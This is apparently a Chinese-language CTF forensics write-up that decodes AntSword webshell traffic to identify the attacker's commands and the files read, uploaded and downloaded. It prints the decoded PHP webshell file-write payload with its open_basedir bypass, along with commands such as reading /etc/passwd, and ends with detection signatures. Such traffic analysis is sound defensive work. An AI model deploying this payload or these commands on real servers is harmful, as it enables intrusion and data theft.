公司手机网站建设网站开发雷小天

任务：

木马的连接密码是多少

这是分析蚁剑流量，可能是网站的，wireshark过滤http

追踪流http得到

1就是连接密码

flag{1}

黑客执行的第一个命令是什么

取最后的执行命令。base64解密得

除了id不是蚁剑自带的命令，其他的都是，所以

flag{id}

黑客读取了哪个文件的内容，提交文件绝对路径

依次读取不同的流。

读到第二个流的时候。

读取了/etc/passwd

flag{/etc/passwd}

黑客上传了什么文件到服务器，提交文件名

将6个蚁剑webshell木马的请求内容全部解码，得到：

0、cd "/var/www/html";id;echo e124bc;pwd;echo 43523
1、cd "/var/www/html";ls;echo e124bc;pwd;echo 43523
2、cd "/var/www/html";cat /etc/passwd;echo e124bc;pwd;echo 43523
3、/var/www/html/flag.txt
4、/var/www/html/
5、/var/www/html/config.php

其中第1个请求和第4个请求都是打印文件清单，因此可通过对比两个文件清单的差异，来判断黑客增删的文件。

发现多了个flag.txt文件。

黑客上传的文件内容是什么

第三个估计就是上传东西到flag.txt里面，所以进行url解码。url解码之后进行js美化

1 = @ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {$ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);$oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);@array_push($oparr, $ocwd, sys_get_temp_dir());foreach($oparr as $item) {if (!@is_writable($item)) {continue;};$tmdir = $item."/.368479785";@mkdir($tmdir);if (!@file_exists($tmdir)) {continue;}$tmdir = realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr = @preg_split("/\\\\|\//", $tmdir);for ($i = 0; $i < sizeof($cntarr); $i++) {@chdir("..");};@ini_set("open_basedir", "/");@rmdir($tmdir);break;};
};;function asenc($out) {return $out;
};function asoutput() {$output = ob_get_contents();ob_end_clean();echo "6960"."cb205";echo @asenc($output);echo "1e0a"."91914";
}
ob_start();
try {$f = base64_decode(substr($_POST["t41ffbc5fb0c04"], 2));$c = $_POST["ld807e7193493d"];$c = str_replace("\r", "", $c);$c = str_replace("\n", "", $c);$buf = "";for ($i = 0; $i < strlen($c); $i += 2) $buf. = urldecode("%".substr($c, $i, 2));echo(@fwrite(fopen($f, "a"), $buf) ? "1" : "0");;
} catch (Exception $e) {echo "ERROR://".$e - > getMessage();
};
asoutput();
die(); & ld807e7193493d = 666 C61677B77726974655F666C61677D0A & t41ffbc5fb0c04 = 0 ZL3Zhci93d3cvaHRtbC9mbGFnLnR4dA ==

ld807e7193493d = 666 C61677B77726974655F666C61677D0A & t41ffbc5fb0c04 = 0 ZL3Zhci93d3cvaHRtbC9mbGFnLnR4dA ==

最后那行拿出来解码

得出上传的内容是：

flag{write_flag}

黑客下载了哪个文件，提交文件绝对路径

第四点的时候我们已经得出黑客下载了config.php文件

flag{/var/www/html/config.php}

总结-蚁剑明显流量特征

1、使用URL编解码；

2、每个数据包前面都会包含@ini_set(“display_errors”, “0”);@set_time_limit(0);这两个语句；

3、响应包都是明文。